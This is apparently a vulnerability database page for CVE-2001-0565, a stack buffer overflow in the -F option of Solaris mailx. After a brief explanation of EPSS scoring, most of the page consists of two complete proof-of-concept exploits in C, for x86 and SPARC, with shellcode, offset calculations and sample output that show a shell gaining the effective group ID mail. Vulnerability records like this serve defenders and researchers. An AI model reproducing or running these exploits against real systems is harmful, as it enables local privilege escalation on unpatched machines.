CVE-2001-0565 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

// source: https://www.securityfocus.com/bid/2610/info Solaris is the variant of the UNIX Operating System distributed by Sun Microsystems. Solaris is designed as a scalable operating system for the Intel x86 and Sun Sparc platforms, and operates on machines varying from desktop to enterprise server. A problem with the handling of a long string of characters by the -F option makes it possible for a local user to gain elevated privileges. Due to the insufficient handling of input by the -F option of mailx, a buffer overflow at 1150 characters makes it possible to overwrite variables on the stack, including the return address. This problem makes it possible for a local user gain elevated privileges, attaining an effective GID of mail. #include <fcntl.h> /* /usr/bin/mailx overflow proof of conecpt. Pablo Sor, Buenos Aires, Argentina 04/2001 [email protected], [email protected] works against x86 solaris 8 default offset should work. usage: bash$ id uid=100(laika) gid=1(other) bash$ ./mailx-exp Subject: tomy . EOT [wait...] $ id uid=100(laika) gid=1(other) egid=6(mail) */ long get_esp() { __asm__("movl %esp,%eax"); } int main(int ac, char **av) { char shell[]= "\xeb\x1c\x5e\x33\xc0\x33\xdb\xb3\x08\xfe\xc3\x2b\xf3\x88\x06" "\x6a\x06\x50\xb0\x88\x9a\xff\xff\xff\xff\x07\xee\xeb\x06\x90" "\xe8\xdf\xff\xff\xff\x55\x8b\xec\x83\xec\x08\xeb\x5d\x33\xc0" "\xb0\x3a\xfe\xc0\xeb\x16\xc3\x33\xc0\x40\xeb\x10\xc3\x5e\x33" "\xdb\x89\x5e\x01\xc6\x46\x05\x07\x88\x7e\x06\xeb\x05\xe8\xec" "\xff\xff\xff\x9a\xff\xff\xff\xff\x0f\x0f\xc3\x5e\x33\xc0\x89" "\x76\x08\x88\x46\x07\x33\xd2\xb2\x06\x02\xd2\x89\x04\x16\x50" "\x8d\x46\x08\x50\x8b\x46\x08\x50\xe8\xb5\xff\xff\xff\x33\xd2" "\xb2\x06\x02\xd2\x03\xe2\x6a\x01\xe8\xaf\xff\xff\xff\x83\xc4" "\x04\xe8\xc9\xff\xff\xff\x2f\x74\x6d\x70\x2f\x78\x78"; unsigned long magic = get_esp() + 2075; /* default offset */ unsigned char buf[1150]; char *envi; envi = (char *)malloc(300*sizeof(char)); memset(envi,0x90,300); memcpy(envi+280-strlen(shell),shell,strlen(shell)); memcpy(envi,"SOR=",4); envi[299]=0; putenv(envi); symlink("/bin/ksh","/tmp/xx"); memset(buf,0x41,1150); memcpy(buf+1116,&magic,4); buf[1149]=0; execl("/usr/bin/mailx","mailx","-F",buf,NULL); }

// source: https://www.securityfocus.com/bid/2610/info Solaris is the variant of the UNIX Operating System distributed by Sun Microsystems. Solaris is designed as a scalable operating system for the Intel x86 and Sun Sparc platforms, and operates on machines varying from desktop to enterprise server. A problem with the handling of a long string of characters by the -F option makes it possible for a local user to gain elevated privileges. Due to the insufficient handling of input by the -F option of mailx, a buffer overflow at 1150 characters makes it possible to overwrite variables on the stack, including the return address. This problem makes it possible for a local user gain elevated privileges, attaining an effective GID of mail. #include <fcntl.h> /* /usr/bin/mailx overflow proof of conecpt. Pablo Sor, Buenos Aires, Argentina 05/2001 [email protected], [email protected] works against Solaris 8 (SPARC) default offset should work. $ id uid=100(laika) gid=1(other) $ ./mailx-exp Subject: tomy . EOT [wait..] $ id uid=100(laika) gid=1(other) egid=6(mail) */ int main(int ac, char **av) { char shell[]= "\x90\x10\x20\x06\x82\x10\x20\x88\x91\xd0\x20\x08" /* setegid(6) */ "\x90\x10\x20\x06\x82\x10\x20\x2e\x91\xd0\x20\x08" /* setgid(6) */ /* LSD-pl.net guys shellcode */ "\x90\x08\x3f\xff" /* and %g0,-1,%o0 */ "\x82\x10\x20\x17" /* mov 0x17,%g1 */ "\x91\xd0\x20\x08" /* ta 8 */ "\x20\xbf\xff\xff" /* bn,a <shellcode-4> */ "\x20\xbf\xff\xff" /* bn,a <shellcode> */ "\x7f\xff\xff\xff" /* call <shellcode+4> */ "\x90\x03\xe0\x20" /* add %o7,32,%o0 */ "\x92\x02\x20\x10" /* add %o0,16,%o1 */ "\xc0\x22\x20\x08" /* st %g0,[%o0+8] */ "\xd0\x22\x20\x10" /* st %o0,[%o0+16] */ "\xc0\x22\x20\x14" /* st %g0,[%o0+20] */ "\x82\x10\x20\x0b" /* mov 0xb,%g1 */ "\x91\xd0\x20\x08" /* ta 8 */ "/bin/ksh"; u_long get_sp(void) { __asm__("mov %sp,%i0 \n"); } unsigned long magic = get_sp() + 1444 ; /* default offset */ unsigned char buf[1220]; char *envi; int cont; envi = (char *)malloc(1000*sizeof(char)); for (cont=3;cont<990;cont=cont+4) { envi[cont]= 0xa6;envi[cont+1]=0x1c;envi[cont+2]=0xc0;envi[cont+3]=0x13; } for (cont=803;cont<803+strlen(shell);++cont) envi[cont]=shell[cont-803]; memcpy(envi,"SO=",3); envi[999]=0; putenv(envi); memset(buf,0x41,1220); memcpy(buf+1120+24,&magic,4); /* fake %fp */ memcpy(buf+1120+28,&magic,4); /* fake %i7 */ buf[1220]=0; execl("/usr/bin/mailx","mailx","-F",buf,NULL); }